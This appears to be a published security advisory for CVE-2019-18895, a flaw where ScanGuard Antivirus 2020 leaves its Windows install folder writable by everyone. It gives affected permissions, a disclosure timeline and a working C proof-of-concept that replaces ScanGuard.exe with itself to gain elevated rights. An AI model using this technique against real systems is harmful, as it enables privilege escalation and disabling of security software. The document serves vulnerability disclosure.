ScanGuard Antivirus 2020 – Insecure Folder Permissions
# Exploit Title: ScanGuard Antivirus 2020 - Insecure Folder Permissions # Date: 2019-10-10 # Exploit Author: hyp3rlinx # Vendor Homepage: https://www.scanguard.com/ # Software Link: https://support.scanguard.com/en/kb/22/upgrades-available # Version: 2020 # Tested on: Windows # CVE : N/A # Category: exploit SCANGUARD-ANTIVIRUS-INSECURE-PERMISSIONS.txt [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SCANGUARD-ANTIVIRUS-INSECURE-PERMISSIONS.txt [+] ISR: ApparitionSec [Vendor] https://www.scanguard.com [Product] ScanGuard Antivirus ScanGuard_Setup.exe Hash: 1a63c67a249da0c2e9abd09d35c3c65d Complete Antivirus & Security Software [Vulnerability Type] Insecure Permissions [CVE Reference] CVE-2019-18895 [Affected Product Code Base] ScanGuard Antivirus - latest [Affected Component] Permissions on installation directory [Attack Type] Local [Impact Code execution] true [Impact Escalation of Privileges] true [Impact Information Disclosure] true [Attack Vectors] Low integrity malware or non-privileged user replaces an executable to gain Admin privileges. [Reference] https://support.scanguard.com/en/kb/22/upgrades-available [Security Issue] Scanguard through 2019-11-12 on Windows has Insecure Permissions for the installation directory, leading to privilege escalation via a Trojan horse executable file. The product sets weak access control restrictions, as permissions are set to Full Control for Everyone group. This can allow low integrity malware the ability to replace ScanGuard executables. C:\Program Files (x86)\ScanGuard\bins BUILTIN\Users:(OI)(CI)(ID)F Everyone:(OI)(CI)(ID)F NT SERVICE\TrustedInstaller:(ID)F NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F [Exploit/POC] #include <stdio.h> #include <windows.h> #define TARGET "C:\\Program Files (x86)\\ScanGuard\\ScanGuard.exe" #define DISABLED_TARGET "C:\\Program Files (x86)\\ScanGuard\\~.conf" /* ScanGuard EoP PoC By hyp3rlinx */ BOOL PWNED=FALSE; BOOL FileExists(LPCTSTR szPath){ DWORD dwAttrib = GetFileAttributes(szPath); return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); } void main(void){ if(!FileExists(DISABLED_TARGET)){ rename(TARGET, DISABLED_TARGET); printf("[+] ScanGuard Antivirus EoP PoC\n"); Sleep(300); printf("[+] Disabled ScanGuard.exe ...\n"); Sleep(300); }else{ PWNED=TRUE; } char fname[MAX_PATH]; char newLoc[]=TARGET; DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH); if (size){ if(!PWNED){ printf("[+] Copying exploit to vuln dir...\n"); Sleep(300); CopyFile(fname, newLoc, FALSE); printf("[+] Replaced legit ScanGuard...\n"); Sleep(300); printf("[+] Done!\n"); Sleep(300); MoveFile(fname, "c:\\Program Files (x86)\\ScanGuard\\ScamGuard.lnk"); Sleep(2000); exit(0); }else{ if(FileExists("ScamGuard.lnk")){ system("DEL /f ScamGuard.lnk"); } printf("[+] ScamGuard PWNED!!!"); printf("[+] By hyp3rlinx\n"); system("pause"); } } } [Disclosure Timeline] Vendor Notification: September 16, 2019 Received vendor acknowledgement: September 16, 2019 Second contact follow up: September 29, 2019 No more vendor replies. November 12, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx |